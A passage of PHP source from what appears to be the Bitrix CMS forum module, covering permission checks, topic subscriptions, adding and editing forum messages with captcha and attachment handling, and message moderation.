$arAddParams["PERMISSION"] = (!!$arAddParams["PERMISSION"] ? $arAddParams["PERMISSION"] : '');
if (! isset($arCache[$FID.$arAddParams["PERMISSION"]]))
{
if (CForumUser::IsAdmin())
{
$result = "Y";
}
else
{
$strPerms = (!!$arAddParams["PERMISSION"] ? $arAddParams["PERMISSION"] : CForumNew::GetUserPermission($FID, $GLOBALS["USER"]->GetUserGroupArray()));
if ($strPerms <= "E")
{
$result = $strPerms;
}
elseif (CForumUser::IsLocked($GLOBALS["USER"]->GetID()))
{
$strPerms = CForumNew::GetPermissionUserDefault($FID);
$result = ($strPerms >= "E" ? $strPerms : "E");
}
else
{
$result = $strPerms;
}
}
$arCache[$FID.$arAddParams["PERMISSION"]] = $result;
}
return $arCache[$FID.$arAddParams["PERMISSION"]];
}
function ForumSubscribeNewMessagesEx($FID, $TID, $NEW_TOPIC_ONLY, &$strErrorMessage, &$strOKMessage, $strSite = false, $SOCNET_GROUP_ID = false)
{
if ($strSite===false)
$strSite = SITE_ID;
return ForumSubscribeNewMessages($FID, $TID, $strErrorMessage, $strOKMessage, $NEW_TOPIC_ONLY, $strSite, $SOCNET_GROUP_ID);
}
function ForumUnsubscribeNewMessagesEx($FID, $TID, $NEW_TOPIC_ONLY, &$strErrorMessage, &$strOKMessage, $strSite = false, $SOCNET_GROUP_ID = false)
{
if ($strSite===false)
$strSite = SITE_ID;
return ForumUnsubscribeNewMessages($FID, $TID, $strErrorMessage, $strOKMessage, $NEW_TOPIC_ONLY, $strSite, $SOCNET_GROUP_ID);
}
function ForumUnsubscribeNewMessages($FID, $TID, &$strErrorMessage, &$strOKMessage, $NEW_TOPIC_ONLY = "N", $strSite = false, $SOCNET_GROUP_ID = false)
{
global $USER;
$strSite = ($strSite===false ? SITE_ID : $strSite);
$FID = IntVal($FID);
$TID = IntVal($TID);
$arError = array();
$arNote = array();
if (!$USER->IsAuthorized())
{
$arError[] = GetMessage("FORUM_SUB_ERR_AUTH");
}
else
{
$arFields = array(
"USER_ID" => $USER->GetID(),
"FORUM_ID" => $FID,
"SITE_ID" => $strSite,
"TOPIC_ID" => ($TID>0) ? $TID : false);
if($SOCNET_GROUP_ID>0)
$arFields['SOCNET_GROUP_ID'] = $SOCNET_GROUP_ID;
$db_res = CForumSubscribe::GetListEx(array(), $arFields);
if ($db_res && ($res = $db_res->Fetch()))
{
if (!CForumSubscribe::CanUserDeleteSubscribe($res['ID'], $USER->GetUserGroupArray(), $USER->GetID()))
$arError[] = GetMessage("FORUM_SUB_ERR_PERMS");
else
CForumSubscribe::Delete($res["ID"]);
}
else
$arError[] = GetMessage("FORUM_SUB_ERR_UNSUBSCR");
}
if (!empty($arError))
$strErrorMessage .= implode(".\n", $arError);
if (!empty($arNote))
$strOKMessage .= implode(".\n", $arNote);
if (empty($arError))
return True;
else
return False;
}
function ForumSubscribeNewMessages($FID, $TID, &$strErrorMessage, &$strOKMessage, $NEW_TOPIC_ONLY = "N", $strSite = false, $SOCNET_GROUP_ID = false)
{
global $USER;
$strSite = ($strSite===false ? SITE_ID : $strSite);
$FID = IntVal($FID);
$TID = IntVal($TID);
$arError = array();
$arNote = array();
if (!$USER->IsAuthorized())
{
$arError[] = GetMessage("FORUM_SUB_ERR_AUTH");
}
elseif ($SOCNET_GROUP_ID==false && !CForumSubscribe::CanUserAddSubscribe($FID, $USER->GetUserGroupArray()))
{
$arError[] = GetMessage("FORUM_SUB_ERR_PERMS");
}
else
{
$arFields = array(
"USER_ID" => $USER->GetID(),
"FORUM_ID" => $FID,
"SITE_ID" => $strSite,
"TOPIC_ID" => ($TID>0) ? $TID : false);
if($SOCNET_GROUP_ID>0)
$arFields['SOCNET_GROUP_ID'] = $SOCNET_GROUP_ID;
$db_res = CForumSubscribe::GetListEx(array(), $arFields);
if ($db_res && ($res = $db_res->Fetch()))
{
$sError = GetMessage("FORUM_SUB_ERR_ALREADY_TOPIC");
if ($TID <= 0)
{
if ($res["NEW_TOPIC_ONLY"] == "Y")
{
$sError = GetMessage("FORUM_SUB_ERR_ALREADY_NEW");
if ($NEW_TOPIC_ONLY != $res["NEW_TOPIC_ONLY"])
$sError = str_replace("#FORUM_NAME#", htmlspecialcharsbx($res["FORUM_NAME"]),
GetMessage("FORUM_SUB_ERR_ALREADY_ALL_HELP"));
}
else
{
$sError = GetMessage("FORUM_SUB_ERR_ALREADY_ALL");
if ($NEW_TOPIC_ONLY != $res["NEW_TOPIC_ONLY"])
$sError = str_replace("#FORUM_NAME#", htmlspecialcharsbx($res["FORUM_NAME"]),
GetMessage("FORUM_SUB_ERR_ALREADY_NEW_HELP"));
}
}
$arError[] = $sError;
}
else
{
$arFields["NEW_TOPIC_ONLY"] = (($arFields["TOPIC_ID"]!==false) ? "N" : $NEW_TOPIC_ONLY );
$subid = CForumSubscribe::Add($arFields);
if (IntVal($subid)>0)
{
if ($TID>0)
$arNote[] = GetMessage("FORUM_SUB_OK_MESSAGE_TOPIC");
else
$arNote[] = GetMessage("FORUM_SUB_OK_MESSAGE");
}
else
{
$arError[] = GetMessage("FORUM_SUB_ERR_UNKNOWN");
}
}
}
if (!empty($arError))
$strErrorMessage .= implode(".\n",$arError);
if (!empty($arError))
$strOKMessage .= implode(".\n",$arNote);
if (empty($arError))
return True;
else
return False;
}
function ForumGetRealIP()
{
$ip = false;
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ips = explode(", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
foreach ($ips as $ipst)
{
// Skip RFC 1918 IP's 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16
if (!preg_match("/^(10|172\.16|192\.168)\./", $ipst) && preg_match("/^[^.]+\.[^.]+\.[^.]+\.[^.]+/", $ipst))
{
$ip = $ipst;
break;
}
}
}
// Return with the found IP or the remote address
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
function ForumAddMessage(
$MESSAGE_TYPE, $FID, $TID, $MID, $arFieldsG, &$strErrorMessage, &$strOKMessage, $iFileSize = false,
$captcha_word = "", $captcha_sid = 0, $captcha_code = "")
{
global $USER, $DB, $APPLICATION;
$APPLICATION->ResetException();
$aMsg = array();
$bUpdateTopic = False;
$bAddEditNote = ($MESSAGE_TYPE == "EDIT");
$arParams = array(
"PERMISSION" => false);
$arUserGroups = $USER->GetUserGroupArray();
// ************ External Permission *********************************
if (!empty($arFieldsG["PERMISSION_EXTERNAL"]))
{
$arParams["PERMISSION"] = CForumNew::GetUserPermission($FID, $arUserGroups);
$arParams["PERMISSION"] = ($arParams["PERMISSION"] < "Q" ?
$arFieldsG["PERMISSION_EXTERNAL"] : $arParams["PERMISSION"]);
unset($arFieldsG["PERMISSION_EXTERNAL"]);
}
elseif (!empty($arFieldsG["SONET_PERMS"]))
{
$arParams["PERMISSION"] = CForumNew::GetUserPermission($FID, $arUserGroups);
if ($arParams["PERMISSION"] < "Q")
{
if ($arFieldsG["SONET_PERMS"]["bCanFull"] === true)
$arParams["PERMISSION"] = "Y";
elseif ($arFieldsG["SONET_PERMS"]["bCanNew"] === true)
$arParams["PERMISSION"] = "M";
elseif ($arFieldsG["SONET_PERMS"]["bCanWrite"] === true)
$arParams["PERMISSION"] = "I";
else
$arParams["PERMISSION"] = "A";
}
unset($arFieldsG["SONET_PERMS"]);
}
$DB->StartTransaction();
if (!in_array($MESSAGE_TYPE, array("NEW", "EDIT", "REPLY")))
$aMsg[] = array("id" => "MESSAGE_TYPE", "text" => GetMessage("ADDMES_NO_TYPE").".");
$MID = intval($MID);
$TID = intval($TID);
$FID = intval($FID);
$arFieldsG["EDIT_ADD_REASON"] = ($arFieldsG["EDIT_ADD_REASON"] == "Y" ? "Y" : "N");
if ($MID>0)
{
$arMessage = CForumMessage::GetByID($MID, array("FILTER" => "N"));
if ($arMessage)
{
$TID = IntVal($arMessage["TOPIC_ID"]);
$FID = IntVal($arMessage["FORUM_ID"]);
}
}
$arTopic = array();
if ($TID>0)
{
$arTopic = CForumTopic::GetByID($TID);
if ($arTopic)
{
$FID = IntVal($arTopic["FORUM_ID"]);
}
}
$arForum = CForumNew::GetByID($FID);
//************************* Input params **************************************************************************
if ($MESSAGE_TYPE=="NEW" && !CForumTopic::CanUserAddTopic($FID, $arUserGroups, $USER->GetID(), $arForum, $arParams["PERMISSION"]))
$aMsg[] = array("id" => "PERMISSION", "text" => GetMessage("ADDMESS_NO_PERMS2NEW").".");
elseif ($MESSAGE_TYPE=="EDIT" && !CForumMessage::CanUserUpdateMessage($MID, $arUserGroups, $USER->GetID(), $arParams["PERMISSION"]))
$aMsg[] = array("id" => "PERMISSION", "text" => GetMessage("ADDMESS_NO_PERMS2EDIT").".");
elseif ($MESSAGE_TYPE=="REPLY" && !CForumMessage::CanUserAddMessage($TID, $arUserGroups, $USER->GetID(), $arParams["PERMISSION"]))
$aMsg[] = array("id" => "PERMISSION", "text" => GetMessage("ADDMESS_NO_PERMS2REPLY").".");
if ($MESSAGE_TYPE == "NEW" ||
($MESSAGE_TYPE == "EDIT" && array_intersect_key($arFieldsG,
array("TITLE"=>"", "DESCRIPTION"=>"", "ICON"=>"", "TAGS"=>"",
"OWNER_ID"=>"", "SOCNET_GROUP_ID"=>"")) &&
CForumTopic::CanUserUpdateTopic($TID, $arUserGroups, $USER->GetID(), $arParams["PERMISSION"])))
{
$bUpdateTopic = True;
}
?><?
if ($MESSAGE_TYPE =="EDIT" && (ForumCurrUserPermissions($FID, $arParams) > "Q" && $arFieldsG["EDIT_ADD_REASON"] == "N"))
$bAddEditNote = false;
//*************************!CAPTCHA********************************************************************************
if (!$USER->IsAuthorized() && $arForum["USE_CAPTCHA"]=="Y")
{
include_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/captcha.php");
$cpt = new CCaptcha();
if (strlen($captcha_code) > 0)
{
$captchaPass = COption::GetOptionString("main", "captcha_password", "");
if (!$cpt->CheckCodeCrypt($captcha_word, $captcha_code, $captchaPass))
$aMsg[] = array("id" => "CAPTCHA", "text" => GetMessage("FORUM_POSTM_CAPTCHA").".");
}
else
{
if (!$cpt->CheckCode($captcha_word, $captcha_sid))
$aMsg[] = array("id" => "CAPTCHA", "text" => GetMessage("FORUM_POSTM_CAPTCHA").".");
}
}
//*************************!CAPTCHA********************************************************************************
$arFieldsG["POST_MESSAGE"] = trim($arFieldsG["POST_MESSAGE"]);
if (empty($arFieldsG["POST_MESSAGE"]))
$aMsg[] = array("id" => "POST_MESSAGE", "text" => GetMessage("ADDMESS_INPUT_MESSAGE").".");
if ($bUpdateTopic && is_set($arFieldsG, "TITLE"))
{
$arFieldsG["TITLE"] = trim($arFieldsG["TITLE"]);
if (empty($arFieldsG["TITLE"]))
$aMsg[] = array("id" => "TITLE", "text" => GetMessage("ADDMESS_INPUT_TITLE").".");
}
//*************************!QUOTA**********************************************************************************
/* if (empty($aMsg))
{
$quota = new CDiskQuota();
if ($MESSAGE_TYPE=="EDIT")
{
if (!$quota->checkDiskQuota(strLen($arFieldsG["POST_MESSAGE"]) - strLen($arMessage["POST_MESSAGE"])))
{
if (!$quota->LAST_ERROR)
$aMsg[] = array("id" => "QUOTA", "text" => GetMessage("MAIN_QUOTA_BAD")."( ".COption::GetOptionInt("main", "disk_space")." ).");
else
$aMsg[] = array("id" => "QUOTA", "text" => $quota->LAST_ERROR);
}
}
elseif (!$quota->checkDiskQuota($arFieldsG["POST_MESSAGE"]))
{
if (!$quota->LAST_ERROR)
$aMsg[] = array("id" => "QUOTA", "text" => GetMessage("MAIN_QUOTA_BAD")."( ".COption::GetOptionInt("main", "disk_space")." ).");
else
$aMsg[] = array("id" => "QUOTA", "text" => $quota->LAST_ERROR);
}
}*/
//*************************!QUOTA**********************************************************************************
if (empty($aMsg))
{
// *************************!ATTACH_IMG*****************************************************************************
if (is_set($arFieldsG, "ATTACH_IMG") && empty($arFieldsG["ATTACH_IMG"]["name"]) && empty($arFieldsG["ATTACH_IMG"]["del"]))
unset($arFieldsG["ATTACH_IMG"]);
if (is_set($arFieldsG, "ATTACH_IMG"))
{
$arFieldsG["ATTACH_IMG"]["FILE_ID"] = $arMessage["ATTACH_IMG"];
$arFieldsG["FILES"] = array($arFieldsG["ATTACH_IMG"]);
}
unset($arFieldsG["ATTACH_IMG"]);
if (!empty($arFieldsG["FILES"]) && is_array($arFieldsG["FILES"]))
{
foreach ($arFieldsG["FILES"] as $key => $val):
if (intVal($val["FILE_ID"]) > 0):
$arFieldsG["FILES"][$key]["del"] = ($val["del"] == "Y" ? "Y" : "");
endif;
endforeach;
$res = array("FORUM_ID" => $arForum["ID"], "TOPIC_ID" => 0, "MESSAGE_ID" => 0, "USER_ID" => $USER->GetID());
if (!in_array($arForum["ALLOW_UPLOAD"], array("Y", "F", "A")))
unset($arFieldsG["FILES"]);
elseif (!CForumFiles::CheckFields($arFieldsG["FILES"], $res, "NOT_CHECK_DB"))
{
if ($ex = $APPLICATION->GetException())
$aMsg[] = array("id" => "FILE", "text" => $ex->GetString());
else
$aMsg[] = array("id" => "FILE", "text" => "File upload error.");
}
}
}
//*************************/ATTACH_IMG*****************************************************************************
if (empty($aMsg) && ($MESSAGE_TYPE=="NEW" || $MESSAGE_TYPE=="REPLY"))
{
$AUTHOR_ID = IntVal($USER->GetParam("USER_ID"));
if ($USER->IsAuthorized())
{
$res = CForumUser::GetByUSER_ID($USER->GetID());
$bSHOW_NAME = (!empty($res) ? $res["SHOW_NAME"] == "Y" : true);
$arFieldsG["AUTHOR_NAME"] = ($bSHOW_NAME ? trim($USER->GetFullName()) : "");
$arFieldsG["AUTHOR_NAME"] = (!empty($arFieldsG["AUTHOR_NAME"]) ? $arFieldsG["AUTHOR_NAME"] : $USER->GetLogin());
}
if (empty($arFieldsG["AUTHOR_NAME"]))
$aMsg[] = array("id" => "AUTHOR_NAME", "text" => GetMessage("ADDMESS_INPUT_AUTHOR").".");
}
elseif (empty($aMsg) && $MESSAGE_TYPE=="EDIT")
{
$AUTHOR_ID = IntVal($arMessage["AUTHOR_ID"]);
if (is_set($arFieldsG, "AUTHOR_NAME") && empty($arFieldsG["AUTHOR_NAME"]))
{
if ($AUTHOR_ID <= 0)
$aMsg[] = array("id" => "AUTHOR_NAME", "text" => GetMessage("ADDMESS_INPUT_AUTHOR").".");
else
{
$res = CForumUser::GetByUSER_ID($AUTHOR_ID);
$bSHOW_NAME = (!empty($res) ? $res["SHOW_NAME"] == "Y" : true);
if ($USER->GetID() == $AUTHOR_ID)
{
$arFieldsG["AUTHOR_NAME"] = ($bSHOW_NAME ? trim($USER->GetFullName()) : "");
$arFieldsG["AUTHOR_NAME"] = (!empty($arFieldsG["AUTHOR_NAME"]) ? $arFieldsG["AUTHOR_NAME"] : $USER->GetLogin());
}
else
{
$res = CForumUser::GetByUSER_IDEx($AUTHOR_ID);
if ($res)
{
$arFieldsG["AUTHOR_NAME"] = trim($bSHOW_NAME ? $res["NAME"]." ".$res["LAST_NAME"] : "");
$arFieldsG["AUTHOR_NAME"] = (!empty($arFieldsG["AUTHOR_NAME"]) ? $arFieldsG["AUTHOR_NAME"] : $res["LOGIN"]);
}
else
{
unset($arFieldsG["AUTHOR_NAME"]);
}
}
}
}
if ($USER->IsAuthorized())
{
$res = CForumUser::GetByUSER_ID($USER->GetID());
$bSHOW_NAME = (!empty($res) ? $res["SHOW_NAME"] == "Y" : true);
$arFieldsG["EDITOR_NAME"] = ($bSHOW_NAME ? trim($USER->GetFullName()) : "");
$arFieldsG["EDITOR_NAME"] = (!empty($arFieldsG["EDITOR_NAME"]) ? $arFieldsG["EDITOR_NAME"] : $USER->GetLogin());
}
if ($bAddEditNote && empty($arFieldsG["EDITOR_NAME"]))
$aMsg[] = array("id" => "EDITOR_NAME", "text" => GetMessage("ADDMESS_INPUT_EDITOR").".");
}
//*************************/Input params ***************************************************************************
//************************* Actions ********************************************************************************
//************************* Add/edit topic *************************************************************************
if (empty($aMsg))
{
// The longest step by time. Actualization of topic, user and forum statistic info (~0.7-0.8 sec)
if ($MESSAGE_TYPE == "EDIT" && ($arMessage["APPROVED"] == "Y" || $arMessage["APPROVED"] == "N"))
{
$arFieldsG["APPROVED"] = $arMessage["APPROVED"];
}
elseif (!empty($arTopic) && $arTopic["APPROVED"] != "Y")
{
$arFieldsG["APPROVED"] = "N";
}
else
{
$arFieldsG["APPROVED"] = ($arForum["MODERATION"]=="Y") ? "N" : "Y";
if (ForumCurrUserPermissions($FID, $arParams)>="Q")
$arFieldsG["APPROVED"] = "Y";
}
if ($bUpdateTopic)
{
$arFields = array();
foreach (array("TITLE", "TITLE_SEO", "DESCRIPTION", "ICON", "TAGS") as $key)
if (is_set($arFieldsG, $key))
$arFields[$key] = $arFieldsG[$key];
if ($MESSAGE_TYPE=="NEW")
{
$arFields["FORUM_ID"] = $FID;
$arFields["USER_START_ID"] = $AUTHOR_ID;
$arFields["USER_START_NAME"] = $arFieldsG["AUTHOR_NAME"];
$arFields["LAST_POSTER_NAME"] = $arFieldsG["AUTHOR_NAME"];
$arFields["APPROVED"] = $arFieldsG["APPROVED"];
$arFields["OWNER_ID"] = $arFieldsG["OWNER_ID"];
$arFields["SOCNET_GROUP_ID"] = $arFieldsG["SOCNET_GROUP_ID"];
if (is_set($arFieldsG, "TOPIC_XML_ID"))
$arFields["XML_ID"] = $arFieldsG["TOPIC_XML_ID"];
$TID = CForumTopic::Add($arFields);
if (IntVal($TID)<=0)
$aMsg[] = array("id" => "TOPIC_ID", "text" => GetMessage("ADDMESS_ERROR_ADD_TOPIC").".");
}
else
{
$arFields["MESSAGE_ID"] = $MID;
if (is_set($arFieldsG, "AUTHOR_NAME")):
if ($arTopic["LAST_MESSAGE_ID"] == $MID && $arMessage["LAST_POSTER_NAME"] != $arFieldsG["AUTHOR_NAME"]):
$arFields["LAST_POSTER_NAME"] = $arFieldsG["AUTHOR_NAME"];
endif;
if ($arTopic["ABS_LAST_MESSAGE_ID"] == $MID && $arMessage["ABS_LAST_POSTER_NAME"] != $arFieldsG["AUTHOR_NAME"]):
$arFields["ABS_LAST_POSTER_NAME"] = $arFieldsG["AUTHOR_NAME"];
endif;
if ($arTopic["USER_START_NAME"] == $arMessage["USER_START_NAME"] && $arTopic["USER_START_NAME"] != $arFieldsG["AUTHOR_NAME"]):
$arFields["USER_START_NAME"] = $arFieldsG["AUTHOR_NAME"];
endif;
endif;
if (!empty($arFields))
{
$TID1 = CForumTopic::Update($TID, $arFields);
if (intval($TID1) <= 0):
$aMsg[] = array("id" => "TOPIC_ID", "text" => GetMessage("ADDMESS_ERROR_EDIT_TOPIC").".");
else:
foreach ($arFields as $key => $val):
if ($arFields[$key] != $arTopic[$key]):
$res_log[$key] = $arFields[$key];
$res_log["before".$key] = $arTopic[$key];
endif;
endforeach;
if (!empty($res_log)):
$arTopic = CForumTopic::GetByID($TID);
$res_log['FORUM_ID'] = $arTopic['FORUM_ID'];
CForumEventLog::Log("topic", "edit", $TID, serialize($res_log));
endif;
endif;
if (is_set($arFieldsG, "AUTHOR_NAME") && $arForum["LAST_MESSAGE_ID"] == $MID && $arForum["LAST_POSTER_NAME"] != $arFieldsG["AUTHOR_NAME"]):
$arFieldsForum = array("LAST_POSTER_NAME" => $arFieldsG["AUTHOR_NAME"]);
if ($arForum["ABS_LAST_MESSAGE_ID"] == $MID):
$arFieldsForum["LAST_POSTER_NAME"] = $arFieldsG["AUTHOR_NAME"];
endif;
CForumNew::Update($arForum["ID"], $arFieldsForum);
endif;
}
}
}
}
//*************************/Add/edit topic *************************************************************************
//************************* Add/edit message ***********************************************************************
if (empty($aMsg))
{
$arFields = Array(
"POST_MESSAGE" => $arFieldsG["POST_MESSAGE"],
"USE_SMILES" => ($arFieldsG["USE_SMILES"]=="Y") ? "Y" : "N",
"APPROVED" => $arFieldsG["APPROVED"]
);
if (is_set($arFieldsG, "ATTACH_IMG"))
$arFields["ATTACH_IMG"] = $arFieldsG["ATTACH_IMG"];
elseif (is_set($arFieldsG, "FILES"))
$arFields["FILES"] = $arFieldsG["FILES"];
if (is_set($arFieldsG, "PARAM1"))
$arFields["PARAM1"] = $arFieldsG["PARAM1"];
if (is_set($arFieldsG, "PARAM2"))
$arFields["PARAM2"] = $arFieldsG["PARAM2"];
/* elseif ($MESSAGE_TYPE != "NEW")
{
$db_res = CForumMessage::GetList(array(), array("TOPIC_ID" => $TID, "NEW_TOPIC" => "Y"));
if ($db_res && $res = $db_res->Fetch())
$res["PARAM2"] = $res["PARAM2"];
}*/
$GLOBALS["USER_FIELD_MANAGER"]->EditFormAddFields("FORUM_MESSAGE", $arFields);
if ($MESSAGE_TYPE=="NEW" || $MESSAGE_TYPE=="REPLY")
{
$arFields["AUTHOR_NAME"] = $arFieldsG["AUTHOR_NAME"];
$arFields["AUTHOR_EMAIL"] = $arFieldsG["AUTHOR_EMAIL"];
$arFields["AUTHOR_ID"] = $AUTHOR_ID;
$arFields["FORUM_ID"] = $FID;
$arFields["TOPIC_ID"] = $TID;
$AUTHOR_IP = ForumGetRealIP();
$AUTHOR_IP_tmp = $AUTHOR_IP;
$AUTHOR_REAL_IP = $_SERVER['REMOTE_ADDR'];
if (COption::GetOptionString("forum", "FORUM_GETHOSTBYADDR", "N") == "Y")
{
$AUTHOR_IP = @gethostbyaddr($AUTHOR_IP);
$AUTHOR_REAL_IP = ($AUTHOR_IP_tmp==$AUTHOR_REAL_IP ?
$AUTHOR_IP : @gethostbyaddr($AUTHOR_REAL_IP));
}
$arFields["AUTHOR_IP"] = ($AUTHOR_IP!==False) ? $AUTHOR_IP : "<no address>";
$arFields["AUTHOR_REAL_IP"] = ($AUTHOR_REAL_IP!==False) ? $AUTHOR_REAL_IP : "<no address>";
$arFields["NEW_TOPIC"] = ($MESSAGE_TYPE=="NEW") ? "Y" : "N";
$arFields["GUEST_ID"] = $_SESSION["SESS_GUEST_ID"];
$MID = CForumMessage::Add($arFields, false);
if (intVal($MID)<=0)
{
$str = $APPLICATION->GetException();
if ($str && $str->GetString())
$aMsg[] = array("id" => "MESSAGE_ID", "text" => $str->GetString());
else
$aMsg[] = array("id" => "MESSAGE_ID", "text" => GetMessage("ADDMESS_ERROR_ADD_MESSAGE").".");
if ($MESSAGE_TYPE=="NEW")
{
CForumTopic::Delete($TID);
$TID = 0;
}
}
}
else
{
if (empty($AUTHOR_ID))
{
if (is_set($arFieldsG, "AUTHOR_NAME"))
$arFields["AUTHOR_NAME"] = $arFieldsG["AUTHOR_NAME"];
if (is_set($arFieldsG, "AUTHOR_EMAIL"))
$arFields["AUTHOR_EMAIL"] = $arFieldsG["AUTHOR_EMAIL"];
}
if ($bAddEditNote)
{
$arFields["EDITOR_NAME"] = $arFieldsG["EDITOR_NAME"];
$arFields["EDITOR_EMAIL"] = $arFieldsG["EDITOR_EMAIL"];
$arFields["EDIT_REASON"] = $arFieldsG["EDIT_REASON"];
$arFields["EDIT_DATE"] = "";
if ($GLOBALS["USER"]->IsAuthorized())
$arFields["EDITOR_ID"] = $GLOBALS["USER"]->GetID();
}
$MID1 = CForumMessage::Update($MID, $arFields);
if (IntVal($MID1)<=0)
{
$ex = $GLOBALS['APPLICATION']->GetException();
if ($ex)
$aMsg[] = array("id" => "MESSAGE_ID", "text" => $ex->GetString());
else
$aMsg[] = array("id" => "MESSAGE_ID", "text" => GetMessage("ADDMESS_ERROR_EDIT_MESSAGE").".");
}
elseif ($AUTHOR_ID == $GLOBALS["USER"]->GetId() && COption::GetOptionString("forum", "LOGS", "Q") < "U")
{}
else
{
$res_log = array();
foreach ($arFields as $key => $val):
if ($arFields[$key] != $arMessage[$key]):
if ($key == "FILES" || $key == "ATTACH_IMG"):
$res_log[$key] = GetMessage("F_ATTACH_IS_MODIFIED");
continue;
endif;
$res_log["BeforeMessage"] = $arMessage[$key];
$res_log["AfterMessage"] = $arFields[$key];
endif;
endforeach;
if (!empty($res_log)):
$arMessage = CForumMessage::GetByID($MID);
$TID = $arMessage['TOPIC_ID'];
$res_log['FORUM_ID'] = $arMessage['FORUM_ID'];
$arTopic = CForumTopic::GetByID($TID);
$res_log['TITLE'] = $arTopic['TITLE'];
$res_log['TOPIC_ID'] = $TID;
$res_log = serialize($res_log);
CForumEventLog::Log("message", "edit", $MID, $res_log);
endif;
}
}
}
//*************************/Add/edit message ***********************************************************************
if (empty($aMsg))
$DB->Commit();
else
$DB->Rollback();
if (empty($aMsg) && CModule::IncludeModule("statistic"))
{
$F_EVENT1 = $arForum["EVENT1"];
$F_EVENT2 = $arForum["EVENT2"];
$F_EVENT3 = $arForum["EVENT3"];
if (empty($F_EVENT3))
{
$arForumSite_tmp = CForumNew::GetSites($FID);
if (defined("ADMIN_SECTION") && ADMIN_SECTION===true)
{
$arForumSiteCode_tmp = array_keys($arForumSite_tmp);
$F_EVENT3 = CForumNew::PreparePath2Message((empty($arForumSite_tmp[$arForumSiteCode_tmp[0]]) ? '' : $arForumSite_tmp[$arForumSiteCode_tmp[0]]), array("FORUM_ID"=>$FID, "TOPIC_ID"=>$TID, "MESSAGE_ID"=>$MID));
}
else
{
$F_EVENT3 = CForumNew::PreparePath2Message((empty($arForumSite_tmp[SITE_ID]) ? '' : $arForumSite_tmp[SITE_ID]), array("FORUM_ID"=>$FID, "TOPIC_ID"=>$TID, "MESSAGE_ID"=>$MID));
}
}
CStatistics::Set_Event($F_EVENT1, $F_EVENT2, $F_EVENT3);
}
if (empty($aMsg))
{
$arNote = array();
if ($MESSAGE_TYPE=="NEW" || $MESSAGE_TYPE=="REPLY")
{
CForumMessage::SendMailMessage($MID, array(), false, "NEW_FORUM_MESSAGE");
$arNote = array("id" => $MESSAGE_TYPE, "text" => GetMessage("ADDMESS_SUCCESS_ADD").". \n");
}
else
{
CForumMessage::SendMailMessage($MID, array(), false, "EDIT_FORUM_MESSAGE");
$arNote = array("id" => "EDIT", "text" => GetMessage("ADDMESS_SUCCESS_EDIT").". \n");
}
if ($arFieldsG["APPROVED"]!="Y")
{
$arNote["id"] .= "_NOT_APPROVED";
$arNote["text"] .= GetMessage("ADDMESS_AFTER_MODERATE").". \n";
}
if (is_array($strOKMessage))
$strOKMessage[] = $arNote;
else
$strOKMessage .= $arNote["text"];
return $MID;
}
$e = new CAdminException($aMsg);
$strErrorMessage = $e->GetString();
return false;
}
function ForumModerateMessage($message, $TYPE, &$strErrorMessage, &$strOKMessage, $arAddParams = array())
{
global $USER;
$arError = array();
$arOK = array();
$arAddParams = (!is_array($arAddParams) ? array($arAddParams) : $arAddParams );
$arAddParams["PERMISSION"] = (!empty($arAddParams["PERMISSION"]) ? $arAddParams["PERMISSION"] : false);
$message = ForumDataToArray($message);
if (empty($message))
{
$arError[] = GetMessage("DELMES_NO_MESS").". \n";
}
else
{
$db_res = CForumMessage::GetList(array(), array("@ID" => implode(",", $message)));
if ($db_res)
{
while ($arMessage = $db_res->Fetch())
{
if (!(ForumCurrUserPermissions($arMessage["FORUM_ID"], $arAddParams) >= "Q" ||
CForumMessage::CanUserUpdateMessage($arMessage["ID"], $USER->GetUserGroupArray(), $USER->GetID(), $arAddParams["PERMISSION"])))
$arError[] = GetMessage("MODMESS_NO_PERMS")." (MID=".$arMessage["ID"]."). \n";
else
{
$arFields = array("APPROVED" => ($TYPE == "SHOW" ? "Y" : "N"));
$ID = CForumMessage::Update($arMessage["ID"], $arFields);
if ($ID > 0)
{
$TID = $arMessage["TOPIC_ID"];
$arTopic = CForumTopic::GetByID($TID);
/***************** Events onMessageModerate ************************/
foreach (GetModuleEvents("forum", "onMessageModerate", true) as $arEvent)
ExecuteModuleEventEx($arEvent, array($ID, $TYPE, $arMessage, $arTopic));
/***************** /Events *****************************************/
$res = array(
"ID" => $arMessage["ID"],
"AUTHOR_NAME" => $arMessage["AUTHOR_NAME"],
"POST_MESSAGE" => $arMessage["POST_MESSAGE"],
"TITLE" => $arTopic["TITLE"],
"TOPIC_ID" => $TID,
"FORUM_ID" => $arMessage["FORUM_ID"]
);
$res = serialize($res);
if ($TYPE == "SHOW")
{
$arOK[] = GetMessage("MODMESS_SUCCESS_SHOW")." (MID=".$arMessage["ID"]."). \n";
CForumMessage::SendMailMessage($arMessage["ID"], array(), false, "NEW_FORUM_MESSAGE");
CForumEventLog::Log("message", "approve", $arMessage["ID"], $res);
}
else
{
$arOK[] = GetMessage("MODMESS_SUCCESS_HIDE")." (MID=".$arMessage["ID"]."). \n";
CForumMessage::SendMailMessage($arMessage["ID"], array(), false, "EDIT_FORUM_MESSAGE");
CForumEventLog::Log("message", "unapprove", $arMessage["ID"], $res);
}
}
else
{
$arError[] = GetMessage("MODMESS_ERROR_MODER")." (MID=".$arMessage["ID"]."). \n";
}
}
}
}
else
$arError[] = GetMessage("DELMES_NO_MESS").". \n";
}
$strErrorMessage .= implode("", $arError);
$strOKMessage .= implode("", $arOK);
if (count($arError) <= 0)
return true;
else
return false;
}
function ForumOpenCloseTopic($topic, $TYPE, &$strErrorMessage, &$strOKMessage, $arAddParams = array())
{
global $USER;
$arError = array();
$arOk = array();
$arAddParams = (!is_array($arAddParams) ? array($arAddParams) : $arAddParams );
$arAddParams["PERMISSION"] = (!empty($arAddParams["PERMISSION"]) ? $arAddParams["PERMISSION"] : false);
$topic = ForumDataToArray($topic);
if (empty($topic))
{
$arError[] = GetMessage("OCTOP_NO_TOPIC");
}
else
{
if (!CForumUser::IsAdmin() && !$arAddParams["PERMISSION"])
$db_res = CForumTopic::GetListEx(array(), array("@ID" => implode(",", $topic), "PERMISSION_STRONG" => true));
else
$db_res = CForumTopic::GetListEx(array(), array("@ID" => implode(",", $topic)));
if ($db_res && $res = $db_res->Fetch())
{
$arFields = array();
$arFields["STATE"] = ($TYPE == "OPEN") ? "Y" : "N";
do
{
if ($res["STATE"] == "L")
{
if ($TYPE=="OPEN")
